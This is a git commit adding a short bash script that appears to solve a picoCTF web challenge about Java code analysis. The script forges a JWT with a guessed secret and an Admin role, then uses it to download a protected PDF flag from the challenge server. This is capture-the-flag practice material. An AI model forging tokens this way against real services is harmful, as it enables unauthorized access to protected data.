web/java_code_analysis

2026-07-04 22:04:13 +09:00
parent b840bd8981
commit 1ed2d8d249
2 changed files with 96 additions and 0 deletions
@@ -0,0 +1,22 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p jwt-cli
+
+URL="http://saturn.picoctf.net:54161"
+
+# NOTE: see:
+#  - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/SecretGenerator.java
+#  - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/ReauthenticationFilter.java
+#  - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/controllers/BookController.java
+#  - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/services/BookService.java
+
+TOKEN="$(jwt encode \
+  --secret=1234 \
+  --iss=bookshelf \
+  --exp="1w" \
+  '{"userId": 2, "email": "user", "role": "Admin"}'
+)"
+
+curl "$URL/base/books/pdf/5" \
+  -H "Authorization: Bearer $TOKEN" \
+  --output flag.pdf
+